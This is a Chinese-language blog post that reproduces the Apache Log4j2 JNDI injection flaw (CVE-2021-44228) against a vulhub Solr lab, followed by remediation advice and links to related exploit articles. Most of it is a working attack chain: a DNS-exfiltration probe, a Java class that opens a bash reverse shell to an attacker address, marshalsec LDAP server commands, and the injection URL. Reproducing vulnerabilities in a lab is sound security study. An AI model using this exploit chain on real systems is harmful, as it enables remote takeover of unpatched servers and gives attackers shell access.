Apache Log4j2远程命令执行漏洞复现
Apache Log4j2 是一个基于Java的日志记录工具,被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。Log4j2 远程代码执行漏洞编号 CVE-2021-44228。
漏洞原理
漏洞主要由于Log4j2在处理程序日志记录时存在 JNDI 入缺陷。JNDI是Java名称与目录接口,是一种查找其他组件、资源或服务的通用机制。利用这个缺陷,通过发送包含JNDI查找的恶意数据,触发Log4j2组件解析缺陷,实现远程代码执行。
Log4j2框架下的 lookup 查询服务提供了 {} 字段解析功能,传进去的值会被直接解析。在lookup的{}里面构造Payload,调用JNDI服务(LDAP、RMI等)获取恶意的class对象,造成了远程代码执行。
复现
影响版本:Apache Log4j 2.x <= 2.14.1 <= Log4j 2.15.0-rc1
环境搭建:使用 vulhub 搭建
cd /vulhub/log4j/CVE-2021-44228
docker compose up -d
访问 8983 可查看到 Apache Solr 的后台页面:

向 action 参数值发送利用 JNDI 发送DNS请求的Payload:
${jndi:dns://${sys:java.version}.jukclj.dnslog.cn}

dnslog 平台成功收到解析记录,Payload中的 ${sys:java:version} 被替换为了对应的java版本。

在JNDI接口lookup查询进行注入Payload ${jndi:dns/ldap/rmi:evil-url/poc} JNDI就会去对应的服务如LDAP、RMI、DNS查找资源,上面这个Paylaod就为DNS查询。
首先需要的在本地编译一个class文件,目的是让靶机远程加载这个类,执行其中反弹shell的代码。
//javac Shell.java
import java.lang.Runtime;
import java.lang.Process;
public class Shell {
static {
try {
Runtime rt = Runtime.getRuntime();
Process pc = rt.exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.88.128/1234 0>&1");
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
class文件编译好以后,在class文件所在目录启用一个 python http 服务,让靶机可以访问到这个文件。
python3 -m http.server 2333 # 监听在2333端口
接着使用 marshalsec 这个项目来启动一个LADP服务,监听 1099 端口,并指定加载远程类文件:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.88.128:2333/#Shell" 1099
利用JNDI注入调用LADP服务来远程加载这个Shell类,执行反弹shell的代码:
http://192.168.88.150:8983/solr/admin/cores?action=${jndi:ldap://192.168.88.128:1099/Shell}

靶机回连到本地LADP服务,Python起的服务端收到请求返回Shell类,执行其中的反弹shell代码,kali监听1234收到反弹shell。

Log4j的利用方式和Fastjson很相似,通过JNDI注入,调用LDAP或RMI协议,远程加载恶意类造成反序列化命令执行。
漏洞修复
升级受影响的应用及组件,更新Log4j到新版本 log4j-2.15.0-rc2 及以上。
参考文章:
https://github.com/vulhub/vulhub/blob/master/log4j/CVE-2021-44228/README.zh-cn.md
https://github.com/luckyfuture0177/VULOnceMore/blob/main/Java框架/CVE-2021-44228-Log4jJNDI注入命令执行.md
https://www.freebuf.com/vuls/382838.html
若有错误,欢迎指正!o( ̄▽ ̄)ブ
Apache Log4j2远程命令执行漏洞复现的更多相关文章
- 【Vulfocus解题系列】手把手教你使用Vulfocus公开靶场对Apache Log4j2远程命令执行漏洞复现
前言 关于这个漏洞,啥都不用说了,直接发车. 工具下载 JNDIExploit:https://github.com/0x727/JNDIExploit 复现过程 启动靶场环境 直接用vulfocus ...
- Apache SSI 远程命令执行漏洞复现
Apache SSI 远程命令执行漏洞复现 一.漏洞描述 当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令. 使 ...
- Apache log4j2 远程代码执行漏洞复现👻
Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...
- Apache SSI远程命令执行漏洞复现
漏洞原理:当目标服务器开启了SSI与CGI支持,就可以上传shtml文件,并利用语法执行任意命令,例如<!- - #exec cmd="ls"- ->,cmd后面跟要执 ...
- CVE-2019-0193:Apache Solr 远程命令执行漏洞复现
0x00 漏洞背景 2019年8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警,漏洞危害评级为严重 0x01 影响范围 Apache Solr < 8.2.0 0x0 ...
- CVE-2021-25646:Apache Druid远程命令执行漏洞复现
漏洞概述 Apache Druid 是一个分布式的数据处理系统.Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码.在Druid 0.20.0及更低版本中, ...
- [CVE-2020-1956] Apache Kylin远程命令执行漏洞复现
Apache Kylin是一个开源的.分布式的分析型数据仓库,提供Hadoop/Spark之上的 SQL 查询接口及多维分析(OLAP)能力以支持超大规模数据,最初由 eBay 开发并贡献至开源社区. ...
- ThinkPHP 5.x远程命令执行漏洞复现
ThinkPHP 5.x远程命令执行漏洞复现 一.漏洞描述 2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞: https://blog.th ...
- Apache Log4j2远程代码执行漏洞攻击,华为云安全支持检测拦截
近日,华为云安全团队关注到Apache Log4j2 的远程代码执行最新漏洞.Apache Log4j2是一款业界广泛使用的基于Java的日志工具,该组件使用范围广泛,利用门槛低,漏洞危害极大.华为云 ...
- Apache Tomcat远程命令执行漏洞(CVE-2017-12615) 漏洞利用到入侵检测
本文作者:i春秋作家——Anythin9 1.漏洞简介 当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 fals ...
随机推荐
- LeetCode题集-2 - 两数相加
这个题目是什么意思呢?简单来说就是把两个链表平铺开,头节点对齐,然后从头开始相同的节点相加,满10则进位,进位值与下个节点继续相加,当一个链表没有节点时候则可以把没有节点当做0继续与有节点的链表继续相 ...
- Docker 知识梳理及其安装使用
Docker 介绍 Docker 是一个强大的工具,用于高效开发.打包和部署应用程序.Docker 是一种容器管理服务.Docker 于 2013 年发布.它是开源的,可用于 Windows.macO ...
- CSS MASK
首先看如下效果: 这种效果看起来很赞,可以做出很酷炫的交互,比如图上这种,还有一种就是引导页 经过我阅读作者的文章,原文地址. 发现其实只要使用两个核心CSS样式就能实现这个效果 分别为: 1. ba ...
- 微软RDL远程代码执行超高危漏洞(CVE-2024-38077)漏洞检测排查方式
漏洞名称:微软RDL远程代码执行超高危漏洞(CVE-2024-38077) CVSS core: 9.8 漏洞描述: CVE-2024-38077 是微软近期披露的一个极其严重的远程代码执行漏洞. ...
- .NET 9 RC1 正式发布
.NET 9 RC1 是 .NET 9 的第一个候选发布版本(Release Candidate),标志着该版本接近最终发布.根据Github 上相关的内容,我们可以总结出以下几点: 新功能和改进: ...
- InfoTS: 具有信息感知增强的时间序列对比学习《Time Series Contrastive Learning with Information-Aware Augmentations》(对比学习、信息感知增强、高保真、多样性、信息论-信息瓶颈、元学习器)(没看懂,还需要再回顾)
现在是2024年5月23日,14:30,开始看论文. 论文:Time Series Contrastive Learning with Information-Aware Augmentations ...
- 《Vue.js 设计与实现》读书笔记 - 第 4 章、响应系统的作用与实现
第 4 章.响应系统的作用与实现 4.1 响应式数据与副作用 副作用函数就是会对外部造成影响的函数,比如修改了全局变量. 响应式:修改了某个值的时候,某个会读取该值的副作用函数能够自动重新执行. 4. ...
- DDD实体和对象
实体 entity 标识符用来唯一定位一个对象,在数据库中我们一般用表的主键来实现标识符,主键和标识符的思考角度不同,就是 id 字段 : 实体:拥有唯一的标识符,标识符的值不会改变,而其他对象的状态 ...
- 64.element表单校验注意点
<!-- 表单验证三要素: --> <!-- ① el-form需要有 model属性[表单数据对象].rules属性[验证规则对象].ref属性[引用字符串] --> < ...
- 014 Python 的数据类型(数字、字符串、列表、字典)
#!/usr/bin/env python # -*- coding:utf-8 -*- # Datatime:2022/7/24 20:31 # Filename:014 Python 的数据类型( ...